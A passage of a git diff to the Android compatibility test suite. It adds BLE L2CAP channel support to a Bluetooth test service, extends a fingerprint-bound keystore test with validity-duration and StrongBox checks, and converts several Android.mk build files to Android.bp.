+                        Toast.makeText(BleCocServerTestBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();
+                    }
+                });
+                break;
+            case BleCocServerService.BLE_ADD_SERVICE_FAIL:
+                showErrorDialog(R.string.bt_add_service_failed_title, R.string.bt_add_service_failed_message, true);
+                break;
+            default:
+                if (DEBUG) {
+                    Log.d(TAG, "Note: BroadcastReceiver.onReceive: unhandled action=" + action);
+                }
+            }
+
+            mTestAdapter.notifyDataSetChanged();
+
+            if (newAction != null) {
+                Log.d(TAG, "Starting " + newAction);
+                startIntent.setAction(newAction);
+
+                startService(startIntent);
+            }
+
+            if (mPassed == PASS_FLAG_ALL) {
+                Log.d(TAG, "All Tests Passed.");
+                getPassButton().setEnabled(true);
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
old mode 100644
new mode 100755
index 3d2b840..38cad0f
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
@@ -46,10 +46,10 @@
     private Dialog mDialog;
     private Handler mHandler;
 
-    private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 0;
-    private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 1;
-    private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 2;
-    private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 3;
+    private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 0;
+    private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 1;
+    private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 2;
+    private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 3;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -125,10 +125,10 @@
 
     private List<Integer> setupTestList() {
         ArrayList<Integer> testList = new ArrayList<Integer>();
-        testList.add(R.string.ble_read_authenticated_characteristic_name);
         testList.add(R.string.ble_write_authenticated_characteristic_name);
-        testList.add(R.string.ble_read_authenticated_descriptor_name);
+        testList.add(R.string.ble_read_authenticated_characteristic_name);
         testList.add(R.string.ble_write_authenticated_descriptor_name);
+        testList.add(R.string.ble_read_authenticated_descriptor_name);
         return testList;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java
index 68797f5..090ad01 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientService.java
@@ -309,7 +309,7 @@
                             mBluetoothGatt.discoverServices();
                         }
                     }, 1000);
-                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                } else if (newState == BluetoothProfile.STATE_DISCONNECTED) {
                     showMessage("Bluetooth LE disconnected");
                     mTaskQueue.addTask(new Runnable() {
                         @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
index 6eb587f..f2be547 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
@@ -73,6 +73,9 @@
     private ConnectThread mConnectThread;
     private ConnectedThread mConnectedThread;
     private int mState;
+    private boolean mBleTransport;
+    private int mLePsm;
+    private int mSocketConnectionType = -1;
 
     // Constants that indicate the current connection state
     public static final int STATE_NONE = 0;       // we're doing nothing
@@ -90,6 +93,22 @@
         mState = STATE_NONE;
         mHandler = handler;
         mUuid = uuid;
+        mBleTransport = false;
+    }
+
+    /**
+     * Constructor. Prepares a new BluetoothChat session.
+     * @param context  The UI Activity Context
+     * @param handler  A Handler to send messages back to the UI Activity
+     * @param useBle   A flag to use the BLE transport
+     */
+    public BluetoothChatService(Context context, Handler handler, boolean useBle) {
+        mAdapter = BluetoothAdapter.getDefaultAdapter();
+        mState = STATE_NONE;
+        mHandler = handler;
+        mUuid = null;
+        mBleTransport = useBle;
+        if (D) Log.d(TAG, "Construct BluetoothChatService: useBle=" + useBle);
     }
 
     /**
@@ -136,12 +155,47 @@
     }
 
     /**
+     * Return the assigned PSM value.
+     */
+    public synchronized int getPsm(boolean secure) {
+        if (secure && mSecureAcceptThread != null) {
+            return mSecureAcceptThread.getPsm();
+        }
+        else if (!secure && mInsecureAcceptThread != null) {
+            return mInsecureAcceptThread.getPsm();
+        }
+        Log.e(TAG, "getPsm: Invalid PSM value");
+        return 0;
+    }
+
+    /**
+     * Return the socket Connection Type.
+     */
+    public synchronized int getSocketConnectionType() {
+        return mSocketConnectionType;
+    }
+
+    /**
      * Start the ConnectThread to initiate a connection to a remote device.
-     * @param device  The BluetoothDevice to connect
+     * @param device  The BluetoothDevice to connect to
      * @param secure Socket Security type - Secure (true) , Insecure (false)
      */
     public synchronized void connect(BluetoothDevice device, boolean secure) {
-        if (D) Log.d(TAG, "connect to: " + device);
+        if (!mBleTransport) {
+            connect(device, secure, 0);
+        } else {
+            Log.e(TAG, "connect: Error: LE cannot call this method!");
+        }
+    }
+
+    /**
+     * Start the ConnectThread to initiate a connection to a remote device.
+     * @param device  The BluetoothDevice to connect to
+     * @param secure Socket Security type - Secure (true) , Insecure (false)
+     * @param psm Assigned PSM value
+     */
+    public synchronized void connect(BluetoothDevice device, boolean secure, int psm) {
+        if (D) Log.d(TAG, "connect to: " + device + ", psm: " + psm + ", ble: " + mBleTransport);
 
         // Cancel any thread attempting to make a connection
         if (mState == STATE_CONNECTING) {
@@ -152,7 +206,7 @@
         if (mConnectedThread != null) {mConnectedThread.cancel(); mConnectedThread = null;}
 
         // Start the thread to connect with the given device
-        mConnectThread = new ConnectThread(device, secure);
+        mConnectThread = new ConnectThread(device, secure, psm);
         mConnectThread.start();
         setState(STATE_CONNECTING);
     }
@@ -281,15 +335,31 @@
 
             // Create a new listening server socket
             try {
-                if (secure) {
-                    tmp = mAdapter.listenUsingRfcommWithServiceRecord(NAME_SECURE, mUuid);
+                if (mBleTransport) {
+                    if (secure) {
+                        tmp = mAdapter.listenUsingL2capChannel();
+                    } else {
+                        tmp = mAdapter.listenUsingInsecureL2capChannel();
+                    }
                 } else {
-                    tmp = mAdapter.listenUsingInsecureRfcommWithServiceRecord(NAME_INSECURE, mUuid);
+                    if (secure) {
+                        tmp = mAdapter.listenUsingRfcommWithServiceRecord(NAME_SECURE, mUuid);
+                    } else {
+                        tmp = mAdapter.listenUsingInsecureRfcommWithServiceRecord(NAME_INSECURE, mUuid);
+                    }
                 }
             } catch (IOException e) {
-                Log.e(TAG, "Socket Type: " + mSocketType + " listen() failed", e);
+                Log.e(TAG, "Socket Type: " + mSocketType + ", le: " + mBleTransport + " listen() failed", e);
             }
             mmServerSocket = tmp;
+            if (mBleTransport) {
+                // Get the assigned PSM value
+                mLePsm = mmServerSocket.getPsm();
+            }
+        }
+
+        public int getPsm() {
+            return mLePsm;
         }
 
         public void run() {
@@ -317,6 +387,7 @@
                         case STATE_LISTEN:
                         case STATE_CONNECTING:
                             // Situation normal. Start the connected thread.
+                            mSocketConnectionType = socket.getConnectionType();
                             connected(socket, socket.getRemoteDevice(),
                                     mSocketType);
                             break;
@@ -335,8 +406,10 @@
                     Log.i(TAG, "Got null socket");
                 }
             }
-            if (D) Log.i(TAG, "END mAcceptThread, socket Type: " + mSocketType);
-
+            if (D) {
+                Log.i(TAG, "END mAcceptThread, socket Type: " + mSocketType
+                         + ", SocketConnectionType: " + mSocketConnectionType);
+            }
         }
 
         public void cancel() {
@@ -361,26 +434,50 @@
         private String mSocketType;
 
         public ConnectThread(BluetoothDevice device, boolean secure) {
+            if (mBleTransport) {
+                Log.e(TAG, "ConnectThread: Error: LE should not call this constructor");
+            }
             mmDevice = device;
+            mmSocket = connectThreadCommon(device, secure, 0);
+        }
+
+        public ConnectThread(BluetoothDevice device, boolean secure, int psm) {
+            mmDevice = device;
+            mmSocket = connectThreadCommon(device, secure, psm);
+        }
+
+        private BluetoothSocket connectThreadCommon(BluetoothDevice device, boolean secure, int psm) {
             BluetoothSocket tmp = null;
             mSocketType = secure ? "Secure" : "Insecure";
 
             // Get a BluetoothSocket for a connection with the
             // given BluetoothDevice
             try {
-                if (secure) {
-                    tmp = device.createRfcommSocketToServiceRecord(mUuid);
+                if (mBleTransport) {
+                    if (secure) {
+                        tmp = device.createL2capChannel(psm);
+                    } else {
+                        tmp = device.createInsecureL2capChannel(psm);
+                    }
                 } else {
-                    tmp = device.createInsecureRfcommSocketToServiceRecord(mUuid);
+                    if (secure) {
+                        tmp = device.createRfcommSocketToServiceRecord(mUuid);
+                    } else {
+                        tmp = device.createInsecureRfcommSocketToServiceRecord(mUuid);
+                    }
                 }
             } catch (IOException e) {
                 Log.e(TAG, "Socket Type: " + mSocketType + "create() failed", e);
             }
-            mmSocket = tmp;
+
+            mSocketConnectionType = tmp.getConnectionType();
+
+            return tmp;
         }
 
         public void run() {
-            Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType);
+            Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType
+                  + ", mSocketConnectionType: " + mSocketConnectionType);
             setName("ConnectThread" + mSocketType);
 
             // Always cancel discovery because it will slow down a connection
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
index a7f0a95..1d782d7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
@@ -91,7 +91,9 @@
     mLaunchAccessibilitySettingsButton.setOnClickListener(
         (View unused) ->
             startActivity(new Intent(TelecomManager.ACTION_SHOW_CALL_ACCESSIBILITY_SETTINGS)));
-    if (!mTelephonyManager.isHearingAidCompatibilitySupported() && !mTelephonyManager.isTtyModeSupported()) {
+    if (!mTelephonyManager.isHearingAidCompatibilitySupported()
+        && !mTelephonyManager.isTtyModeSupported()
+        && !mTelephonyManager.isRttSupported()) {
         mLaunchAccessibilitySettingsButton.setVisibility(View.INVISIBLE);
         mLaunchAccessibilitySettingsCheckBox.setVisibility(View.INVISIBLE);
         mLaunchAccessibilitySettingsCheckBox.setChecked(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
index c779a2a..4909497 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
@@ -19,8 +19,6 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
-import com.android.compatibility.common.util.CddTest;
-
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Typeface;
@@ -43,7 +41,6 @@
 /**
  * CTS Verifier case for verifying GPS.
  */
-@CddTest(requirement="7.3.3/C-1-1")
 public class GpsTestActivity extends PassFailButtons.Activity implements PassFailLog {
     private LocationManager mLocationManager;
     private TextView mTextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
index 651b6bf..83b84e7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
@@ -65,10 +65,12 @@
     /** Alias for our key in the Android Key Store. */
     private static final String KEY_NAME = "my_key";
     private static final byte[] SECRET_BYTE_ARRAY = new byte[] {1, 2, 3, 4, 5, 6};
-    private static final int AUTHENTICATION_DURATION_SECONDS = 5;
+    private static final int AUTHENTICATION_DURATION_SECONDS = 2;
     private static final int CONFIRM_CREDENTIALS_REQUEST_CODE = 1;
     private static final int FINGERPRINT_PERMISSION_REQUEST_CODE = 0;
 
+    protected boolean useStrongBox;
+
     private FingerprintManager mFingerprintManager;
     private KeyguardManager mKeyguardManager;
     private FingerprintAuthDialogFragment mFingerprintDialog;
@@ -88,6 +90,7 @@
     @Override
     public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] state) {
         if (requestCode == FINGERPRINT_PERMISSION_REQUEST_CODE && state[0] == PackageManager.PERMISSION_GRANTED) {
+            useStrongBox = false;
             mFingerprintManager = (FingerprintManager) getSystemService(Context.FINGERPRINT_SERVICE);
             mKeyguardManager = (KeyguardManager) getSystemService(KeyguardManager.class);
             Button startTestButton = (Button) findViewById(R.id.sec_start_test_button);
@@ -108,23 +111,26 @@
             startTestButton.setOnClickListener(new OnClickListener() {
                 @Override
                 public void onClick(View v) {
-                    createKey();
-                    prepareEncrypt();
-                    if (tryEncrypt()) {
-                        showToast("Test failed. Key accessible without auth.");
-                    } else {
-                        showAuthenticationScreen();
-                    }
+                    startTest();
                 }
             });
         }
     }
 
+    protected void startTest() {
+        createKey(false /* hasValidityDuration */);
+        prepareEncrypt();
+        if (tryEncrypt()) {
+            showToast("Test failed. Key accessible without auth.");
+        } else {
+            showAuthenticationScreen();
+        }
+    }
+
     /**
-     * Creates a symmetric key in the Android Key Store which can only be used after the user has
-     * authenticated with device credentials within the last X seconds.
+     * Creates a symmetric key in the Android Key Store which requires auth
      */
-    private void createKey() {
+    private void createKey(boolean hasValidityDuration) {
         // Generate a key to decrypt payment credentials, tokens, etc.
         // This will most likely be a registration step for the user when they are setting up your app.
         try {
@@ -139,7 +145,10 @@
                     KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
                     .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
                     .setUserAuthenticationRequired(true)
+                    .setUserAuthenticationValidityDurationSeconds(
+                        hasValidityDuration ? AUTHENTICATION_DURATION_SECONDS : -1)
                     .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
+                    .setIsStrongBoxBacked(useStrongBox)
                     .build());
             keyGenerator.generateKey();
             if (DEBUG) {
@@ -175,6 +184,15 @@
         return mCipher;
     }
 
+    protected boolean doValidityDurationTest(boolean useStrongBox) {
+        mCipher = null;
+        createKey(true /* hasValidityDuration */);
+        if (prepareEncrypt()) {
+            return tryEncrypt();
+        }
+        return false;
+    }
+
     private boolean encryptInternal(boolean doEncrypt) {
         try {
             KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
@@ -212,9 +230,12 @@
             // Extra exception info is not of big value, but let's have it,
             // since this is an unlikely sutuation and potential error condition
             Log.w(TAG, "encryptInternal: [5]: Key invalidated", e);
-            createKey();
+            createKey(false /* hasValidityDuration */);
             showToast("The key has been invalidated, please try again.\n");
             return false;
+        } catch (UserNotAuthenticatedException e) {
+            Log.w(TAG, "encryptInternal: [6]: User not authenticated", e);
+            return false;
         } catch (NoSuchPaddingException | KeyStoreException | CertificateException | UnrecoverableKeyException | IOException
                 | NoSuchAlgorithmException | InvalidKeyException e) {
             throw new RuntimeException("Failed to init Cipher", e);
@@ -238,6 +259,7 @@
         private FingerprintManager mFingerprintManager;
         private FingerprintManagerCallback mFingerprintManagerCallback;
         private boolean mSelfCancelled;
+        private boolean hasStrongBox;
 
         class FingerprintManagerCallback extends FingerprintManager.AuthenticationCallback {
             @Override
@@ -268,10 +290,26 @@
                 if (DEBUG) {
                     Log.i(TAG,"onAuthenticationSucceeded");
                 }
-                if (mActivity.tryEncrypt()) {
-                    showToast("Test passed.");
-                    mActivity.getPassButton().setEnabled(true);
-                    FingerprintAuthDialogFragment.this.dismiss();
+                hasStrongBox = getContext().getPackageManager()
+                                    .hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE);
+                if (mActivity.tryEncrypt() && mActivity.doValidityDurationTest(false)) {
+                    try {
+                        Thread.sleep(3000);
+                    } catch (Exception e) {
+                        throw new RuntimeException("Failed to sleep", e);
+                    }
+                    if (!mActivity.doValidityDurationTest(false)) {
+                        showToast(String.format("Test passed. useStrongBox: %b",
+                                                mActivity.useStrongBox));
+                        if (mActivity.useStrongBox || !hasStrongBox) {
+                            mActivity.getPassButton().setEnabled(true);
+                        } else {
+                            showToast("Rerunning with StrongBox");
+                        }
+                        FingerprintAuthDialogFragment.this.dismiss();
+                    } else {
+                        showToast("Test failed. Key accessible after validity time limit.");
+                    }
                 } else {
                     showToast("Test failed. Key not accessible after auth");
                 }
@@ -282,6 +320,11 @@
         public void onDismiss(DialogInterface dialog) {
             mCancellationSignal.cancel();
             mSelfCancelled = true;
+            // Start the test again, but with StrongBox if supported
+            if (!mActivity.useStrongBox && hasStrongBox) {
+                mActivity.useStrongBox = true;
+                mActivity.startTest();
+            }
         }
 
         private void setActivity(FingerprintBoundKeysTest activity) {
diff --git a/apps/CtsVerifierUSBCompanion/Android.mk b/apps/CtsVerifierUSBCompanion/Android.mk
index 2e081426..c505b13 100644
--- a/apps/CtsVerifierUSBCompanion/Android.mk
+++ b/apps/CtsVerifierUSBCompanion/Android.mk
@@ -28,6 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVerifierUSBCompanion
 
 LOCAL_SDK_VERSION := 25
+#LOCAL_MIN_SDK_VERSION := 12
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/apps/EmptyDeviceAdmin/Android.mk b/apps/EmptyDeviceAdmin/Android.mk
index 1d68fbb..ec4c4a3 100644
--- a/apps/EmptyDeviceAdmin/Android.mk
+++ b/apps/EmptyDeviceAdmin/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 12
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/EmptyDeviceOwner/Android.mk b/apps/EmptyDeviceOwner/Android.mk
index 714e996..0d85bb7 100644
--- a/apps/EmptyDeviceOwner/Android.mk
+++ b/apps/EmptyDeviceOwner/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 12
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/NotificationBot/Android.mk b/apps/NotificationBot/Android.mk
index 9d9c9f9..8a89b1a 100644
--- a/apps/NotificationBot/Android.mk
+++ b/apps/NotificationBot/Android.mk
@@ -28,6 +28,7 @@
 LOCAL_PROGUARD_FLAG_FILES := proguard.flags
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 19
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/apps/PermissionApp/Android.mk b/apps/PermissionApp/Android.mk
index cf4186d..026c803 100644
--- a/apps/PermissionApp/Android.mk
+++ b/apps/PermissionApp/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsPermissionApp
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 23
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk
index 9f3f2e7..3167888 100644
--- a/apps/VpnApp/api23/Android.mk
+++ b/apps/VpnApp/api23/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk
index fc2761c..d7fb82c 100644
--- a/apps/VpnApp/api24/Android.mk
+++ b/apps/VpnApp/api24/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk
index a8db2d2..4b33303 100644
--- a/apps/VpnApp/latest/Android.mk
+++ b/apps/VpnApp/latest/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk
index cc1bfec..f9adadf 100644
--- a/apps/VpnApp/notalwayson/Android.mk
+++ b/apps/VpnApp/notalwayson/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/build/config.mk b/build/config.mk
index 159dc8d..2f0c7b5 100644
--- a/build/config.mk
+++ b/build/config.mk
@@ -24,4 +24,3 @@
 BUILD_CTS_TARGET_JAVA_LIBRARY := cts/build/test_target_java_library.mk
 BUILD_CTS_SUPPORT_PACKAGE := cts/build/support_package.mk
 BUILD_CTS_DEVICE_INFO_PACKAGE := cts/build/device_info_package.mk
-BUILD_CTS_TARGET_TESTNG_PACKAGE := cts/build/test_target_testng_package.mk
diff --git a/common/Android.mk b/common/Android.mk
deleted file mode 100644
index a8b6af7..0000000
--- a/common/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/common/device-side/Android.mk b/common/device-side/Android.mk
deleted file mode 100644
index a8b6af7..0000000
--- a/common/device-side/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/common/device-side/device-info/Android.bp b/common/device-side/device-info/Android.bp
new file mode 100644
index 0000000..583bc85
--- /dev/null
+++ b/common/device-side/device-info/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "compatibility-device-info",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "compatibility-device-util",
+        "android-support-test",
+        "junit",
+    ],
+
+    libs: [
+        "android.test.base.stubs",
+        "framework-stub-for-compatibility-device-info",
+    ],
+
+    sdk_version: "test_current",
+}
+
+java_library {
+    // This stub library provides some internal APIs (SystemProperties, VintfObject, etc.)
+    // to compatibility-device-info library.
+    name: "framework-stub-for-compatibility-device-info",
+    srcs: ["src_stub/**/*.java"],
+
+    sdk_version: "current",
+}
diff --git a/common/device-side/device-info/Android.mk b/common/device-side/device-info/Android.mk
deleted file mode 100644
index df95d9a..0000000
--- a/common/device-side/device-info/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test \
-    junit
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.base.stubs \
-    framework-stub-for-compatibility-device-info
-
-LOCAL_MODULE := compatibility-device-info
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-# This stub library provides some internal APIs (SystemProperties, VintfObject, etc.)
-# to compatibility-device-info library.
-LOCAL_MODULE := framework-stub-for-compatibility-device-info
-LOCAL_SRC_FILES := $(call all-java-files-under, src_stub)
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := current
-LOCAL_UNINSTALLABLE_MODULE := true
-include $(BUILD_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/device-info/tests/Android.bp b/common/device-side/device-info/tests/Android.bp
new file mode 100644
index 0000000..10f42da
--- /dev/null
+++ b/common/device-side/device-info/tests/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "compatibility-device-info-tests",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "compatibility-device-info",
+        "junit",
+    ],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/common/device-side/device-info/tests/Android.mk b/common/device-side/device-info/tests/Android.mk
deleted file mode 100644
index cd05796..0000000
--- a/common/device-side/device-info/tests/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-info junit
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-info-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/common/device-side/nativetesthelper/Android.bp b/common/device-side/nativetesthelper/Android.bp
new file mode 100644
index 0000000..216fb33
--- /dev/null
+++ b/common/device-side/nativetesthelper/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "nativetesthelper",
+
+    srcs: ["src/**/*.java"],
+    static_libs: ["compatibility-common-util-devicesidelib"],
+    sdk_version: "current",
+}
diff --git a/common/device-side/nativetesthelper/Android.mk b/common/device-side/nativetesthelper/Android.mk
deleted file mode 100644
index 63b81e1..0000000
--- a/common/device-side/nativetesthelper/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
